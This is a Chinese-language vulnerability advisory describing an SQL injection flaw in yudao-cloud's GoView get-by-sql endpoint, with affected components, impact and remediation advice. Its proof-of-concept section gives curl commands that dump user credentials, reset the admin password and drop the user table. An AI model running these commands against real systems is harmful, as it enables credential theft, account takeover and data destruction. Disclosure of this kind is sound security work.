# CVE 报告:yudao-cloud GoView SQL 注入漏洞 #2 ## 漏洞概述 * **漏洞标题**:[High] yudao-cloud GoView SQL Injection * **漏洞类型**:SQL 注入 (CWE-89) * **严重程度**:高危 (CVSS 3.1: 8.6) * **受影响产品**:yudao-cloud * **受影响版本**:2026.01 及之前 * **漏洞描述**:在 `yudao-cloud` 的 `GoViewDataServiceImpl.java` 中存在关键 SQL 注入漏洞。该漏洞允许拥有 `report:go-view-data:get-by-sql` 权限的已认证用户执行任意 SQL 查询,可能导致未授权的数据访问、数据篡改和数据库沦陷。`getDataySQL` 方法直接执行用户提供的 SQL 语句,没有任何参数化或输入验证。 ## 影响范围 * **受影响组件**: * **文件**:`yudao-module-report/biz/src/main/java/io/github/ruoyi/report/service/impl/GoViewDataServiceImpl.java` * **方法**:`getDataySQL(String sql)` * **控制器**:`yudao-module-report/biz/src/main/java/io/github/ruoyi/report/controller/GoViewDataController.java` * **API 接口**:`POST /admin-api/report/go-view-data/get-by-sql` * **攻击向量**: 1. **认证**:攻击者必须拥有 `report:go-view-data:get-by-sql` 权限。 2. **注入**:攻击者通过 `sql` 参数发送恶意 SQL。 3. **执行**:服务器执行注入的 SQL 查询。 4. **影响**:攻击者可以提取、修改或删除数据库数据。 * **潜在影响**: 1. **数据泄露**:提取敏感数据(用户凭证、财务信息等)。 2. **数据篡改**:修改或删除数据库记录。 3. **数据库沦陷**:执行任意 SQL 命令。 4. **拒绝服务**:删除表或损坏数据。 5. **横向移动**:通过数据库链接潜在访问其他系统。 ## 修复方案 1. **使用参数化查询**:使用预编译语句代替直接执行。 2. **基于白名单的验证**:验证 SQL 是否符合允许的白名单模式。 3. **移除该端点**:如果不需要该功能,直接移除 `get-by-sql` 端点。 4. **其他安全措施**:实施输入验证和清理、使用预编译语句、实施最小权限原则、启用数据库查询日志记录和监控、实施速率限制、添加 SQL 查询长度和复杂度限制。 ## 概念验证 (PoC) 代码 **步骤 1:正常用法 (合法查询)** ```bash curl -X POST "https://target.com/admin-api/report/go-view-data/get-by-sql" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer " \ -d '{"sql": "SELECT * FROM user LIMIT 10"}' ``` **步骤 2:SQL 注入 (未授权数据访问)** ```bash # 提取用户凭证 curl -X POST "https://target.com/admin-api/report/go-view-data/get-by-sql" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer " \ -d '{"sql": "SELECT username, password FROM user"}' ``` **步骤 3:SQL 注入 (数据篡改)** ```bash # 修改用户密码 curl -X POST "https://target.com/admin-api/report/go-view-data/get-by-sql" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer " \ -d '{"sql": "UPDATE user SET password = \"hacked\" WHERE username = \"admin\""}' ``` **步骤 4:SQL 注入 (拒绝服务)** ```bash # 删除表 curl -X POST "https://target.com/admin-api/report/go-view-data/get-by-sql" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer " \ -d '{"sql": "DROP TABLE user"}' ```